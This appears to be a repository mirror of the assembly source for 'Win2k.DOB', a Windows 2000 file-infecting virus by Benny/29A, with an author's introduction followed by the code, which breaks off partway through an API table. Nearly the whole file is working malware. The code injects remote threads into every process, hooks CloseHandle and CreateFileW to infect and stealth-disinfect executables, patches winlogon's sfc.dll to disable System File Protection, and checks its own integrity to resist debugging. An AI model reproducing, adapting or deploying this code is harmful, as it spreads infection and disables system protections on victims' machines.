mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 22:45:27 +00:00
1063 lines
24 KiB
NASM
1063 lines
24 KiB
NASM
|
||
COMMENT#
|
||
|
||
Ú¿
|
||
ÃÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ´
|
||
ÃÅÅÅÅÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÅÅÅÅ´
|
||
ÃÅÅÅ´ Win2k.DOB ÃÅÅÅ´
|
||
ÃÅÅÅ´ by Benny/29A ÃÅÅÅ´
|
||
ÃÅÅÅÅÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÅÅÅÅ´
|
||
ÃÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ´
|
||
ÀÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÙ
|
||
|
||
|
||
|
||
Hello dear reader,
|
||
|
||
here is my another Win2k infector. This one is multi-process resident and featurez
|
||
some small kind of stealth and runtime SFP disabling! The main viral code worx with
|
||
all processes in the system and tries to inflitrate them. IF the process in
|
||
winlogon.exe, it createz remote thread which will overwrite code that handlez System
|
||
File Protection in Windows 2000. There's no need to restart computer, from the
|
||
execution ALL filez protected by SFP are now unprotected! I used the same method
|
||
which is described in article about SFC disabling in 29A-6 magazine. I have to
|
||
mentioned that this code is coded by me and also Ratter of 29A.
|
||
|
||
In the case the found process is not winlogon.exe it triez to create remote thread
|
||
which will hook CloseHandle and CreateFileW APIZ there. The mentioned semi-stealth
|
||
mechanism worx in this way - when infected program tries to open infected file with
|
||
CreateFileW API, virus will disinfect it and pass the execution to the API and host.
|
||
When host program tries to close file by CloseHandle API, virus will try to infect
|
||
it by my favourite method - overwritting of relocation section. I had this semi-stealth
|
||
mechanism (semi becoz infection via CloseHandle doesnt always work - file is not alwayz
|
||
opened with all required access rightz so many timez the infection will fail - and for now
|
||
I dont know how to recieve filename from HANDLE by Win2k compatible way. If anyone knows
|
||
it, pleaz gimme know!) for long yearz in my head. Originaly I wanted to implement it
|
||
in Win32.Vulcano, but I was so lazy... I decided to code it now, well I know its a bit
|
||
later, but better later than never :)
|
||
|
||
Virus also chex its own integrity on the start (by CRC32) so in the case someone set
|
||
some breakpointz in the viral code, virus will not run.
|
||
|
||
I didnt test Win2k.DOB very deeply, so it is possible that it has some bugz. However,
|
||
again I didnt code it for spreading, but to show some new ideaz. I hope you will like
|
||
this virus...
|
||
|
||
|
||
(c)oded in September, 2001
|
||
Czech Republic.
|
||
#
|
||
|
||
|
||
.386p
|
||
.model flat
|
||
|
||
include win32api.inc
|
||
include useful.inc
|
||
include mz.inc
|
||
include pe.inc
|
||
|
||
|
||
invoke macro api ;macro for API callz
|
||
extrn api:PROC ;declare API
|
||
call api ;call it...
|
||
endm
|
||
|
||
|
||
@SEH_SetupFrame_UnProtect macro
|
||
local set_new_eh
|
||
local exception_handler
|
||
local @n
|
||
|
||
call set_new_eh
|
||
pushad
|
||
|
||
mov ebx,dword ptr [esp+cPushad+EH_ExceptionRecord]
|
||
cmp dword ptr [ebx.ER_ExceptionCode],EXCEPTION_ACCESS_VIOLATION
|
||
jne exception_handler
|
||
|
||
call @n
|
||
dd ?
|
||
@n: mov ebx,[ebx.ER_ExceptionInformation+4]
|
||
push PAGE_READWRITE
|
||
and ebx,0FFFFF000h
|
||
push 2*4096
|
||
push ebx
|
||
mov eax,12345678h
|
||
_VirtualProtect = dword ptr $-4
|
||
call eax ;unprotect 2 pagez
|
||
|
||
exception_handler:
|
||
popad
|
||
xor eax,eax
|
||
ret
|
||
|
||
set_new_eh: ;set SEH frame
|
||
xor edx,edx
|
||
push dword ptr fs:[edx]
|
||
mov fs:[edx],esp
|
||
endm
|
||
|
||
|
||
.data
|
||
|
||
|
||
;this is the remote thread that getz executed in infected process
|
||
|
||
rtStart Proc
|
||
pushad
|
||
tdelta = $+5
|
||
@SEH_SetupFrame <jmp end_thread>
|
||
|
||
mov ebp,[esp+4] ;EBP = delta offset
|
||
|
||
;hook 2 APIz - CloseHandle and CreateFileW
|
||
|
||
mov esi,12345678h
|
||
_CloseHandle = dword ptr $-4
|
||
cmp [esi],64EC8B55h ;check CloseHandle API...
|
||
jne try_cfw
|
||
cmp dword ptr [esi+4],000018A1h ;...code
|
||
jne try_cfw
|
||
mov eax,esi
|
||
neg esi
|
||
add esi,newCloseHandle-rtStart-5
|
||
add esi,12345678h
|
||
virus_base = dword ptr $-4
|
||
mov byte ptr [eax],0E9h ;create "JMP <virus>"
|
||
mov [eax+1],esi
|
||
mov [eax+5],90909090h ;fill with NOPs
|
||
add eax,9
|
||
mov [ebp + nextCH - tdelta],eax ;save the address
|
||
|
||
;and do the same for CreateFileW API
|
||
|
||
try_cfw:mov esi,12345678h
|
||
_CreateFileW = dword ptr $-4
|
||
cmp [esi],83EC8B55h
|
||
jne end_thread
|
||
cmp word ptr [esi+4],5CECh
|
||
jne end_thread
|
||
mov eax,esi
|
||
neg esi
|
||
add esi,newCreateFileW-rtStart-5
|
||
add esi,[ebp + virus_base - tdelta]
|
||
mov byte ptr [eax],0E9h
|
||
mov [eax+1],esi
|
||
mov byte ptr [eax+5],90h
|
||
add eax,6
|
||
mov [ebp + nextCFW - tdelta],eax
|
||
|
||
end_thread:
|
||
@SEH_RemoveFrame
|
||
popad
|
||
ret
|
||
|
||
|
||
;hooker for CreateFileW - disinfectz opened file from virus
|
||
|
||
newCreateFileW:
|
||
pushad
|
||
call @oldCFW
|
||
|
||
cdelta = $
|
||
bytez_CreateFileW:
|
||
push ebp ;overwritten code
|
||
mov ebp,esp
|
||
sub esp,5Ch
|
||
push 12345678h ;return address
|
||
nextCFW = dword ptr $-4
|
||
ret
|
||
|
||
@oldCFW:pop ebp ;EBP = delta offset
|
||
|
||
mov ecx,12345678h
|
||
semaphore = dword ptr $-4
|
||
jecxz c_cfw
|
||
xor eax,eax
|
||
and [ebp + semaphore - cdelta],eax
|
||
|
||
call disinfect ;try to disinfect the file
|
||
mov [ebp + semaphore - cdelta],ebp
|
||
c_cfw: popad
|
||
jmp bytez_CreateFileW ;and run the previous code
|
||
|
||
|
||
;hooker for CloseHandle - infectz file which's getting closed
|
||
|
||
newCloseHandle:
|
||
pushad
|
||
call @oldCH
|
||
|
||
hdelta = $
|
||
bytez_CloseHandle:
|
||
push ebp ;overwritten code
|
||
mov ebp,esp
|
||
mov eax,LARGE fs:[18h]
|
||
push 12345678h ;return address
|
||
nextCH = dword ptr $-4
|
||
ret
|
||
|
||
@oldCH: pop ebp ;EBP = delta offset
|
||
|
||
mov ecx,[ebp + semaphore - hdelta]
|
||
jecxz c_ch
|
||
and dword ptr [ebp + semaphore - hdelta],0
|
||
|
||
call tryInfect ;try to infect
|
||
mov [ebp + semaphore - hdelta],ebp
|
||
c_ch: popad
|
||
jmp bytez_CloseHandle ;and run the previous code
|
||
|
||
|
||
tryInfect:
|
||
mov ebx,[esp.cPushad+8] ;get the handle
|
||
push ebx
|
||
mov eax,12345678h
|
||
_GetFileType = dword ptr $-4
|
||
call eax
|
||
dec eax
|
||
je c_ti ;must be FILE_TYPE_DISK
|
||
end_ti: ret
|
||
|
||
c_ti: push eax
|
||
push eax
|
||
push eax
|
||
push PAGE_READWRITE
|
||
push eax
|
||
push ebx
|
||
mov eax,12345678h
|
||
_CreateFileMappingA = dword ptr $-4
|
||
call eax ;map the file
|
||
cdq
|
||
xchg eax,ecx
|
||
jecxz end_ti
|
||
mov [ebp + hFile - hdelta],ecx
|
||
|
||
push edx
|
||
push edx
|
||
push edx
|
||
push FILE_MAP_WRITE
|
||
push ecx
|
||
mov eax,12345678h
|
||
_MapViewOfFile = dword ptr $-4
|
||
call eax ;--- " " ---
|
||
test eax,eax
|
||
je close_file
|
||
xchg eax,ebx
|
||
mov [ebp + lpFile - hdelta],ebx
|
||
jmp n_open
|
||
|
||
unmap_file:
|
||
push 12345678h
|
||
lpFile = dword ptr $-4
|
||
mov eax,12345678h
|
||
_UnmapViewOfFile = dword ptr $-4
|
||
call eax ;unmap the file
|
||
close_file:
|
||
push 12345678h
|
||
hFile = dword ptr $-4
|
||
call [ebp + _CloseHandle - hdelta] ;--- " " ---
|
||
ret
|
||
|
||
|
||
n_open: mov esi,[ebx.MZ_lfanew]
|
||
add esi,ebx
|
||
mov eax,[esi]
|
||
add eax,-IMAGE_NT_SIGNATURE
|
||
jne unmap_file ;must be PE file
|
||
|
||
;discard not_executable and system filez
|
||
cmp word ptr [esi.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386
|
||
jne unmap_file
|
||
mov ax,[esi.NT_FileHeader.FH_Characteristics]
|
||
test ax,IMAGE_FILE_EXECUTABLE_IMAGE
|
||
je unmap_file
|
||
test ax,IMAGE_FILE_DLL
|
||
jne unmap_file
|
||
test ax,IMAGE_FILE_SYSTEM
|
||
jne unmap_file
|
||
mov al,byte ptr [esi.NT_FileHeader.OH_Subsystem]
|
||
test al,IMAGE_SUBSYSTEM_NATIVE
|
||
jne unmap_file
|
||
|
||
movzx eax,word ptr [esi.NT_FileHeader.FH_NumberOfSections]
|
||
dec eax
|
||
test eax,eax
|
||
je unmap_file
|
||
imul eax,eax,IMAGE_SIZEOF_SECTION_HEADER
|
||
movzx edx,word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader]
|
||
lea edi,[eax+edx+IMAGE_SIZEOF_FILE_HEADER+4]
|
||
add edi,esi
|
||
lea edx,[esi.NT_OptionalHeader.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress]
|
||
mov eax,[edx]
|
||
test eax,eax
|
||
je unmap_file
|
||
cmp eax,[edi.SH_VirtualAddress]
|
||
jne unmap_file
|
||
cmp [edi.SH_SizeOfRawData],virtual_end-rtStart
|
||
jb unmap_file ;is it large enough?
|
||
|
||
pushad
|
||
xor eax,eax
|
||
mov edi,edx
|
||
stosd
|
||
stosd
|
||
popad ;erase relocs record
|
||
|
||
;align the section size
|
||
mov eax,virtual_end-rtStart
|
||
cmp eax,[edi.SH_VirtualSize]
|
||
jb o_vs
|
||
mov ecx,[esi.NT_OptionalHeader.OH_SectionAlignment]
|
||
cdq
|
||
div ecx
|
||
test edx,edx
|
||
je o_al
|
||
inc eax
|
||
o_al: mul ecx
|
||
mov [edi.SH_VirtualSize],eax
|
||
|
||
o_vs: push dword ptr [ebp + original_ep - hdelta]
|
||
|
||
mov eax,[esi.NT_OptionalHeader.OH_AddressOfEntryPoint]
|
||
mov ecx,[edi.SH_VirtualAddress]
|
||
add ecx,Start-rtStart
|
||
mov [esi.NT_OptionalHeader.OH_AddressOfEntryPoint],ecx
|
||
mov [ebp + original_ep - hdelta],eax
|
||
mov eax,[esi.NT_OptionalHeader.OH_ImageBase]
|
||
add [ebp + original_ep - hdelta],eax
|
||
;set saved_entrypoint variable
|
||
pushad
|
||
mov edi,[edi.SH_PointerToRawData]
|
||
add edi,ebx
|
||
lea esi,[ebp + rtStart - hdelta]
|
||
mov ecx,(virtual_end-rtStart+3)/4
|
||
rep movsd ;overwrite relocs by virus body
|
||
popad
|
||
pop dword ptr [ebp + original_ep - hdelta]
|
||
;restore used variablez
|
||
or dword ptr [edi.SH_Characteristics],IMAGE_SCN_MEM_WRITE
|
||
jmp unmap_file
|
||
|
||
|
||
disinfect:
|
||
push eax
|
||
push FILE_ATTRIBUTE_NORMAL
|
||
push OPEN_EXISTING
|
||
push eax
|
||
push FILE_SHARE_READ
|
||
push GENERIC_READ or GENERIC_WRITE
|
||
push dword ptr [esp.cPushad+32]
|
||
call [ebp + _CreateFileW - cdelta] ;open the file
|
||
inc eax
|
||
jne c_di
|
||
ret
|
||
|
||
c_di: dec eax
|
||
mov [ebp + cFile - cdelta],eax
|
||
cdq
|
||
xor edx,edx
|
||
push edx
|
||
push edx
|
||
push edx
|
||
push PAGE_READWRITE
|
||
push edx
|
||
push eax
|
||
call [ebp + _CreateFileMappingA - cdelta] ;create file mapping
|
||
cdq
|
||
xchg eax,ecx
|
||
jecxz c_close_file
|
||
mov [ebp + cMapFile - cdelta],ecx
|
||
|
||
push edx
|
||
push edx
|
||
push edx
|
||
push FILE_MAP_WRITE
|
||
push ecx
|
||
call [ebp + _MapViewOfFile - cdelta] ;map to address space
|
||
test eax,eax
|
||
je c_close_file2
|
||
xchg eax,ebx
|
||
mov [ebp + clpFile - cdelta],ebx
|
||
jmp n_copen
|
||
|
||
c_unmap_file:
|
||
push 12345678h
|
||
clpFile = dword ptr $-4
|
||
call [ebp + _UnmapViewOfFile - cdelta] ;unmap file
|
||
c_close_file2:
|
||
push 12345678h
|
||
cMapFile = dword ptr $-4
|
||
call [ebp + _CloseHandle - cdelta] ;close file mapping
|
||
c_close_file:
|
||
push 12345678h
|
||
cFile = dword ptr $-4
|
||
call [ebp + _CloseHandle - cdelta] ;and the file itself
|
||
ret
|
||
|
||
n_copen:mov esi,[ebx.MZ_lfanew]
|
||
add esi,ebx
|
||
mov eax,[esi]
|
||
add eax,-IMAGE_NT_SIGNATURE
|
||
jne c_unmap_file ;must be PE file
|
||
|
||
movzx eax,word ptr [esi.NT_FileHeader.FH_NumberOfSections]
|
||
dec eax
|
||
test eax,eax
|
||
je unmap_file
|
||
imul eax,eax,IMAGE_SIZEOF_SECTION_HEADER
|
||
movzx edx,word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader]
|
||
lea edi,[eax+edx+IMAGE_SIZEOF_FILE_HEADER+4]
|
||
add edi,esi
|
||
cmp [edi],'ler.'
|
||
jne c_unmap_file
|
||
cmp dword ptr [edi+4],'co'
|
||
jne c_unmap_file ;must be ".reloc"
|
||
lea edx,[esi.NT_OptionalHeader.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress]
|
||
xor ecx,ecx
|
||
cmp [edx],ecx
|
||
jne c_unmap_file ;must be NULL
|
||
mov eax,[edi.SH_VirtualAddress]
|
||
mov [edx],eax ;restore the address field
|
||
mov eax,[edi.SH_VirtualSize]
|
||
mov [edx+4],eax ;and the size field
|
||
xchg eax,ecx
|
||
|
||
mov ecx,[edi.SH_SizeOfRawData]
|
||
mov edi,[edi.SH_PointerToRawData]
|
||
add edi,ebx
|
||
|
||
pushad
|
||
push esi
|
||
mov esi,edi
|
||
lea edi,[ebp + end_seh - cdelta]
|
||
mov ecx,original_ep-end_seh
|
||
l_ep: pushad
|
||
rep cmpsb
|
||
popad
|
||
je got_ep
|
||
inc esi
|
||
jmp l_ep
|
||
got_ep: add esi,original_ep-end_seh ;find the saved entrypoint in virus body
|
||
lodsd
|
||
pop esi
|
||
sub eax,[esi.NT_OptionalHeader.OH_ImageBase]
|
||
mov [esi.NT_OptionalHeader.OH_AddressOfEntryPoint],eax
|
||
popad ;restore it
|
||
rep stosb ;and overwrite body with NULLs
|
||
|
||
jmp c_unmap_file
|
||
|
||
rtStart EndP
|
||
|
||
|
||
signature db 0,'[Win2k.DOB], multi-process stealth project by Benny/29A',0
|
||
;little signature ;-)
|
||
|
||
|
||
; !!! VIRAL CODE STARTS HERE !!!
|
||
|
||
Start: pushad
|
||
gdelta = $+5
|
||
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame
|
||
|
||
call check_crc32 ;check viral body consistency
|
||
|
||
protected:
|
||
mov ebp,[esp+4] ;EBP = delta offset
|
||
|
||
mov edx,cs
|
||
xor dl,dl
|
||
jne end_seh ;must be under winNT/2k!
|
||
|
||
call get_base ;get K32 base address
|
||
call get_apiz ;find addresses of APIz
|
||
call advapi_apiz ;get ADVAPI32 apiz
|
||
call psapi_apiz ;get PSAPI apiz
|
||
|
||
mov eax,12345678h
|
||
_GetCurrentProcess = dword ptr $-4
|
||
call eax ;get current process pseudohandle
|
||
lea ecx,[ebp + p_token - gdelta]
|
||
push ecx
|
||
push 20h
|
||
push eax
|
||
mov eax,12345678h
|
||
_OpenProcessToken = dword ptr $-4 ;open token of our process
|
||
call eax
|
||
dec eax
|
||
jne err_ap
|
||
|
||
lea ecx,[ebp + p_luid - gdelta]
|
||
push ecx
|
||
@pushsz 'SeDebugPrivilege'
|
||
push eax
|
||
mov eax,12345678h
|
||
_LookupPrivilegeValueA = dword ptr $-4 ;find LUID for this priv.
|
||
call eax
|
||
dec eax
|
||
jne err_ap
|
||
|
||
lea ecx,[ebp + token_priv - gdelta]
|
||
push eax
|
||
push eax
|
||
push 10h
|
||
push ecx
|
||
push eax
|
||
push dword ptr [ebp + p_token - gdelta]
|
||
mov eax,12345678h
|
||
_AdjustTokenPrivileges = dword ptr $-4
|
||
call eax ;adjust higher priviledges
|
||
;for our process ;-)
|
||
err_ap: lea esi,[ebp + procz - gdelta]
|
||
lea eax,[ebp + tmp - gdelta]
|
||
push eax
|
||
push 80h
|
||
push esi
|
||
mov eax,12345678h
|
||
_EnumProcesses = dword ptr $-4
|
||
call eax ;enumerate all running processes
|
||
dec eax
|
||
jne end_seh
|
||
add esi,4
|
||
|
||
p_search:
|
||
lodsd ;get PID
|
||
test eax,eax
|
||
je end_ps
|
||
call analyse_process ;and try to infect it
|
||
jmp p_search
|
||
|
||
end_ps: push 12345678h
|
||
_advapi32 = dword ptr $-4
|
||
mov esi,12345678h
|
||
_FreeLibrary = dword ptr $-4
|
||
call esi
|
||
push 12345678h
|
||
_psapi = dword ptr $-4
|
||
call esi ;free ADVAPI32 and PSAPI libz
|
||
end_seh:@SEH_RemoveFrame ;remove SEH frame
|
||
popad
|
||
|
||
extrn ExitProcess:PROC
|
||
push cs
|
||
push offset ExitProcess
|
||
original_ep = dword ptr $-4
|
||
retf ;jump to host!
|
||
|
||
|
||
analyse_process Proc
|
||
pushad
|
||
push eax
|
||
push 0
|
||
push 43Ah
|
||
mov eax,12345678h
|
||
_OpenProcess = dword ptr $-4
|
||
call eax ;PID -> handle
|
||
test eax,eax
|
||
je end_ap
|
||
mov [ebp + hProcess - gdelta],eax
|
||
push eax
|
||
|
||
push eax
|
||
lea esi,[ebp + modz - gdelta]
|
||
lea ecx,[ebp + tmp - gdelta]
|
||
push ecx
|
||
push 4
|
||
push esi
|
||
push eax
|
||
mov eax,12345678h
|
||
_EnumProcessModules = dword ptr $-4
|
||
call eax ;get first (main) module
|
||
pop ecx
|
||
dec eax
|
||
jne end_ap1
|
||
|
||
lodsd
|
||
lea edi,[ebp + mod_name - gdelta]
|
||
push MAX_PATH
|
||
push edi
|
||
push eax
|
||
push ecx
|
||
mov eax,12345678h
|
||
_GetModuleBaseNameA = dword ptr $-4
|
||
call eax ;get its name
|
||
xchg eax,ecx
|
||
test ecx,ecx
|
||
je end_ap1
|
||
|
||
@pushsz 'winlogon.exe'
|
||
pop esi
|
||
mov ebx,edi
|
||
pushad
|
||
rep cmpsb
|
||
popad
|
||
je r_winlogon ;is it winlogon?
|
||
|
||
;nope, try to infect the process
|
||
|
||
lea esi,[ebp + rtStart - gdelta]
|
||
mov edi,virtual_end-rtStart
|
||
call r_create_thread
|
||
jmp end_ap1
|
||
|
||
r_winlogon:
|
||
|
||
;yeah, disable SFP!
|
||
|
||
lea esi,[ebp + winlogon_start_rroutine - gdelta]
|
||
mov edi,winlogon_end_rroutine-winlogon_start_rroutine
|
||
call r_create_thread
|
||
|
||
end_ap1:call [ebp + _CloseHandle - gdelta]
|
||
end_ap: popad
|
||
ret
|
||
analyse_process EndP
|
||
|
||
|
||
;this proc createz remote thread
|
||
|
||
r_create_thread Proc
|
||
push PAGE_READWRITE
|
||
push MEM_RESERVE or MEM_COMMIT
|
||
push edi
|
||
push 0
|
||
push 12345678h
|
||
hProcess = dword ptr $-4
|
||
mov eax,12345678h
|
||
_VirtualAllocEx = dword ptr $-4
|
||
call eax ;aloc there a memory
|
||
test eax,eax
|
||
je err_rcr
|
||
xchg eax,ebx
|
||
mov [ebp + virus_base - gdelta],ebx
|
||
|
||
push 0
|
||
push edi
|
||
push esi
|
||
push ebx
|
||
push dword ptr [ebp + hProcess - gdelta]
|
||
mov eax,12345678h
|
||
_WriteProcessMemory = dword ptr $-4
|
||
call eax ;write there our code
|
||
dec eax
|
||
jne free_mem
|
||
|
||
lea ecx,[ebp + tmp - gdelta]
|
||
push ecx
|
||
push PAGE_READWRITE
|
||
push 1
|
||
push dword ptr [ebp + _CloseHandle - gdelta]
|
||
push dword ptr [ebp + hProcess - gdelta]
|
||
mov eax,12345678h
|
||
_VirtualProtectEx = dword ptr $-4
|
||
call eax ;unprotect first CloseHandle API page
|
||
dec eax
|
||
jne free_mem
|
||
|
||
lea ecx,[ebp + tmp - gdelta]
|
||
push ecx
|
||
push PAGE_READWRITE
|
||
push 1
|
||
push dword ptr [ebp + _CreateFileW - gdelta]
|
||
push dword ptr [ebp + hProcess - gdelta]
|
||
call [ebp + _VirtualProtectEx - gdelta] ;unprotect first CreateFileW API page
|
||
dec eax
|
||
jne free_mem
|
||
|
||
xor edx,edx
|
||
push edx
|
||
push edx
|
||
push edx
|
||
push ebx
|
||
push edx
|
||
push edx
|
||
push dword ptr [ebp + hProcess - gdelta]
|
||
mov eax,12345678h
|
||
_CreateRemoteThread = dword ptr $-4
|
||
call eax ;run remote thread!
|
||
push eax
|
||
call [ebp + _CloseHandle - gdelta]
|
||
err_rcr:ret
|
||
free_mem:
|
||
push MEM_RELEASE
|
||
push 0
|
||
push ebx
|
||
push dword ptr [ebp + hProcess - gdelta]
|
||
mov eax,12345678h
|
||
_VirtualFreeEx = dword ptr $-4
|
||
call eax ;free memory
|
||
ret
|
||
r_create_thread EndP
|
||
|
||
|
||
winlogon_start_rroutine Proc
|
||
pushad
|
||
|
||
@SEH_SetupFrame_UnProtect ;set SEH frame
|
||
|
||
@pushsz 'sfc.dll'
|
||
mov eax,12345678h
|
||
_GetModuleHandleA = dword ptr $-4
|
||
call eax ;get sfc.dll address
|
||
test eax,eax
|
||
je end_rseh
|
||
xchg eax,esi
|
||
|
||
mov eax,[esi.MZ_lfanew]
|
||
add eax,esi
|
||
movzx edx,word ptr [eax.NT_FileHeader.FH_SizeOfOptionalHeader]
|
||
lea edx,[edx+eax+(3*IMAGE_SIZEOF_FILE_HEADER)]
|
||
mov ecx,[edx.SH_SizeOfRawData] ;get size of section
|
||
|
||
call @s_str
|
||
@b_str: db 0FFh,15h,8Ch,12h,93h,76h ;code to search & patch
|
||
db 85h,0C0h
|
||
db 0Fh,8Ch,0F1h,00h,00h,00h
|
||
db 0Fh,84h,0EBh,00h,00h,00h
|
||
db 3Dh,02h,01h,00h,00h
|
||
@s_str: pop edi
|
||
s_str: pushad
|
||
push @s_str-@b_str
|
||
pop ecx
|
||
rep cmpsb ;search for code
|
||
popad
|
||
je got_addr
|
||
inc esi
|
||
loop s_str
|
||
jmp end_rseh
|
||
|
||
got_addr:
|
||
call e_next
|
||
|
||
s_next: push 0 ;"patch" code
|
||
mov eax,12345678h
|
||
_ExitThread = dword ptr $-4
|
||
call eax
|
||
|
||
e_next: pop edi
|
||
xchg esi,edi
|
||
add edi,6
|
||
mov ecx,e_next-s_next
|
||
rep movsb ;patch sfc.dll code by our code
|
||
|
||
end_rseh:
|
||
@SEH_RemoveFrame
|
||
popad
|
||
ret ;and quit
|
||
|
||
winlogon_end_rroutine:
|
||
winlogon_start_rroutine EndP
|
||
|
||
|
||
|
||
;this procedure can retrieve base address of K32
|
||
get_base Proc
|
||
mov eax,077E80000h ;get lastly used address
|
||
last_kern = dword ptr $-4
|
||
call check_kern ;is this address valid?
|
||
jecxz end_gb ;yeah, we got the address
|
||
|
||
call gb_table ;jump over the address table
|
||
dd 077E00000h ;NT/W2k
|
||
dd 077E80000h ;NT/W2k
|
||
dd 077ED0000h ;NT/W2k
|
||
dd 077F00000h ;NT/W2k
|
||
dd 0BFF70000h ;95/98
|
||
gb_table:
|
||
pop edi ;get pointer to address table
|
||
push 4 ;get number of items in the table
|
||
pop esi ;to ESI
|
||
gbloop: mov eax,[edi+esi*4] ;get item
|
||
call check_kern ;is address valid?
|
||
jecxz end_gb ;yeah, we got the valid address
|
||
dec esi ;decrement ESI
|
||
test esi,esi ;end of table?
|
||
jne gbloop ;nope, try next item
|
||
|
||
call scan_kern ;scan the address space for K32
|
||
end_gb: ret ;quit
|
||
|
||
check_kern: ;check if K32 address is valid
|
||
mov ecx,eax ;make ECX != 0
|
||
pushad ;store all registers
|
||
@SEH_SetupFrame <jmp end_ck> ;setup SEH frame
|
||
movzx edx,word ptr [eax] ;get two bytes
|
||
add edx,-"ZM" ;is it MZ header?
|
||
jne end_ck ;nope
|
||
mov ebx,[eax.MZ_lfanew] ;get pointer to PE header
|
||
add ebx,eax ;normalize it
|
||
mov ebx,[ebx] ;get four bytes
|
||
add ebx,-"EP" ;is it PE header?
|
||
jne end_ck ;nope
|
||
xor ecx,ecx ;we got K32 base address
|
||
mov [ebp + last_kern - gdelta],eax ;save K32 base address
|
||
end_ck: @SEH_RemoveFrame ;remove SEH frame
|
||
mov [esp.Pushad_ecx],ecx ;save ECX
|
||
popad ;restore all registers
|
||
ret ;if ECX == 0, address was found
|
||
|
||
SEH_hndlr macro ;macro for SEH
|
||
@SEH_RemoveFrame ;remove SEH frame
|
||
popad ;restore all registers
|
||
add dword ptr [ebp + bAddr - gdelta],1000h ;explore next page
|
||
jmp bck ;continue execution
|
||
endm
|
||
|
||
scan_kern: ;scan address space for K32
|
||
bck: pushad ;store all registers
|
||
@SEH_SetupFrame <SEH_hndlr> ;setup SEH frame
|
||
mov eax,077000000h ;starting/last address
|
||
bAddr = dword ptr $-4
|
||
movzx edx,word ptr [eax] ;get two bytes
|
||
add edx,-"ZM" ;is it MZ header?
|
||
jne pg_flt ;nope
|
||
mov edi,[eax.MZ_lfanew] ;get pointer to PE header
|
||
add edi,eax ;normalize it
|
||
mov ebx,[edi] ;get four bytes
|
||
add ebx,-"EP" ;is it PE header?
|
||
jne pg_flt ;nope
|
||
mov ebx,eax
|
||
mov esi,eax
|
||
add ebx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
|
||
add esi,[ebx.ED_Name]
|
||
mov esi,[esi]
|
||
add esi,-'NREK'
|
||
je end_sk
|
||
pg_flt: xor ecx,ecx ;we got K32 base address
|
||
mov [ecx],esi ;generate PAGE FAULT! search again...
|
||
end_sk: mov [ebp + last_kern - gdelta],eax ;save K32 base address
|
||
@SEH_RemoveFrame ;remove SEH frame
|
||
mov [esp.Pushad_eax],eax ;save EAX - K32 base
|
||
popad ;restore all registers
|
||
ret
|
||
get_base EndP
|
||
|
||
|
||
get_apiz Proc
|
||
mov esi,eax ;base of K32
|
||
mov edx,[esi.MZ_lfanew]
|
||
add edx,esi
|
||
mov ebx,[edx.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
|
||
add ebx,esi
|
||
mov ecx,[ebx.ED_NumberOfNames]
|
||
mov edx,[ebx.ED_AddressOfNames]
|
||
add edx,esi
|
||
|
||
xor eax,eax
|
||
c_find: pushad
|
||
add esi,[edx+eax*4]
|
||
push esi
|
||
@endsz
|
||
mov edi,esi
|
||
pop esi
|
||
sub edi,esi
|
||
call CRC32 ;calculate CRC32 of the API
|
||
|
||
push n_apiz ;number of apiz
|
||
pop ecx
|
||
|
||
call @callz
|
||
s_apiz: dd 082B618D4h ;GetModuleHandleA
|
||
dd 04134D1ADh ;LoadLibraryA
|
||
dd 0AFDF191Fh ;FreeLibrary
|
||
dd 0FFC97C1Fh ;GetProcAddress
|
||
dd 079C3D4BBh ;VirtualProtect
|
||
dd 0058F9201h ;ExitThread
|
||
dd 003690E66h ;GetCurrentProcess
|
||
dd 033D350C4h ;OpenProcess
|
||
dd 0DA89FC22h ;VirtualAllocEx
|
||
dd 00E9BBAD5h ;WriteProcessMemory
|
||
dd 0CF4A7F65h ;CreateRemoteThread
|
||
dd 0700ED6DFh ;VirtualFreeEx
|
||
dd 068624A9Dh ;CloseHandle
|
||
dd 056E1B657h ;VirtualProtectEx
|
||
dd 000D38F42h ;GetFileType
|
||
dd 096B2D96Ch ;CreateFileMappingA
|
||
dd 0797B49ECh ;MapViewOfFile
|
||
dd 094524B42h ;UnmapViewOfFile
|
||
dd 090119808h ;CreateFileW
|
||
n_apiz = ($-s_apiz)/4
|
||
@callz: pop edx
|
||
|
||
c_look: cmp [edx-4+(ecx*4)],eax ;is it our API?
|
||
je got_call ;yeah
|
||
loop c_look ;nope, look for another API in our table
|
||
c_out: popad
|
||
inc eax
|
||
loop c_find
|
||
ret
|
||
|
||
got_call:
|
||
mov edx,[ebx.ED_AddressOfOrdinals]
|
||
mov esi,[esp.Pushad_esi]
|
||
add edx,esi
|
||
mov eax,[esp.Pushad_eax]
|
||
movzx eax,word ptr [edx+eax*2]
|
||
mov edx,esi
|
||
add edx,[ebx.ED_AddressOfFunctions]
|
||
mov eax,[edx+eax*4]
|
||
add eax,esi
|
||
|
||
lea edx,[ebp + Start - gdelta]
|
||
add edx,[ebp + api_addr-4+ecx*4 - gdelta]
|
||
mov [edx],eax ;save it
|
||
jmp c_out
|
||
get_apiz EndP
|
||
|
||
|
||
api_addr: ;where to save apiz numberz...
|
||
dd offset _GetModuleHandleA-Start
|
||
dd offset _LoadLibraryA-Start
|
||
dd offset _FreeLibrary-Start
|
||
dd offset _GetProcAddress-Start
|
||
dd offset _VirtualProtect-Start
|
||
dd offset _ExitThread-Start
|
||
dd offset _GetCurrentProcess-Start
|
||
dd offset _OpenProcess-Start
|
||
dd offset _VirtualAllocEx-Start
|
||
dd offset _WriteProcessMemory-Start
|
||
dd offset _CreateRemoteThread-Start
|
||
dd offset _VirtualFreeEx-Start
|
||
dd offset _CloseHandle-Start
|
||
dd offset _VirtualProtectEx-Start
|
||
dd offset _GetFileType-Start
|
||
